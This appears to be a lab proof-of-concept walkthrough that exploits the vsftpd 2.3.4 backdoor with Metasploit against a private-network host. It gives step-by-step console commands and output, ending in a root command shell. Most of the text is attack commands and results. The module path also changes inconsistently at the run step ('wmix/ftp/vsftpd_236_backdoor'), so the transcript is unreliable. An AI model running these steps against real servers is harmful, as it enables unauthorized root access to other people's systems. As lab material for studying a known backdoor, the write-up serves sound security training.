



VSFTPD RCE PoC

Step 1: Open Metasploit

msfconsole

```
(kali@kali)-[~/Downloads/linux-sendpage3]
$ msfconsole
Metasploit tip: View all productivity tips with the tips command

Metasploit Park, System Security Interface
Version 4.0.5, Alpha E
Ready ...

> access security
access: PERMISSION DENIED.
> access security grid
access: PERMISSION DENIED.
> access main security grid
access: PERMISSION DENIED....and ...
YOU DIDN'T SAY THE MAGIC WORD!
YOU DIDN'T SAY THE MAGIC WORD!
YOU DIDN'T SAY THE MAGIC WORD!
YOU DIDN'T SAY THE MAGIC WORD!
YOU DIDN'T SAY THE MAGIC WORD!
YOU DIDN'T SAY THE MAGIC WORD!
YOU DIDN'T SAY THE MAGIC WORD!
YOU DIDN'T SAY THE MAGIC WORD!

= [ metasploit v6.4.64-dev ]
+ -- --[ 2519 exploits - 1296 auxiliary - 431 post ]
+ -- --[ 1610 payloads - 49 encoders - 13 nops ]
+ -- --[ 9 evasion ]

Metasploit Documentation: https://docs.metasploit.com/

msf6 > search vsftpd

Matching Modules

# Name Disclosure Date Rank Check Description
- - - - -
0 auxiliary/dos/ftp/vsftpd_232 2011-02-03 normal Yes VSFTPD 2.3.2 Denial of Service
1 exploit/unix/ftp/vsftpd_234_backdoor 2011-07-03 excellent No VSFTPD v2.3.4 Backdoor Command Execution

Interact with a module by name or index. For example info 1, use 1 or use exploit/unix/ftp/vsftpd_234_backdoor to be specified.

msf6 > use 1
[*] No payload configured, defaulting to cmd/unix/interact
```

Step 2: Search and Set Options

Search vsftpd

use 1

set RHOSTS 192.168.159.131

```
msf6 exploit(unix/ftp/vsftpd_234_backdoor) > options
Module options (exploit/unix/ftp/vsftpd_234_backdoor):

Name Current Setting Required Description
--
CHOST no The local client address
CPORT no The local client port
Proxies no A proxy chain of format type:host:port[,type:host:port][...]
RHOSTS 192.168.159.131 yes The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
RPORT 21 yes The target port (TCP)

Exploit target:

Id Name
--
0 Automatic
```



Step 3: Run the exploit

Run

```
msf6 exploit(wmix/ftp/vsftpd_236_backdoor) > run
[*] 192.168.159.131:21 - Exploit failed [unreachable]: Rex::ConnectionRefused The connection was refused by the remote host (192.168.159.131:21).
[*] Exploit completed, but no session was created.
msf6 exploit(wmix/ftp/vsftpd_236_backdoor) > run
[*] 192.168.159.131:21 - Exploit failed [unreachable]: Rex::ConnectionRefused The connection was refused by the remote host (192.168.159.131:21).
[*] Exploit completed, but no session was created.
msf6 exploit(wmix/ftp/vsftpd_236_backdoor) > run
[*] 192.168.159.131:21 - Banner: 220 (vsFTPD 2.3.4)
[*] 192.168.159.131:21 - USER: 331 Please specify the password.
[*] 192.168.159.131:21 - Backdoor service has been spawned, handling ...
[*] 192.168.159.131:21 - UID: uid=0(root) gid=0(root)
[*] Found shell.
[*] Command shell session 1 opened (192.168.159.128:35783 → 192.168.159.131:6200) at 2026-01-14 10:40:28 -0500

id
uid=0(root) gid=0(root)
```

Step 4: Successfully got the root shell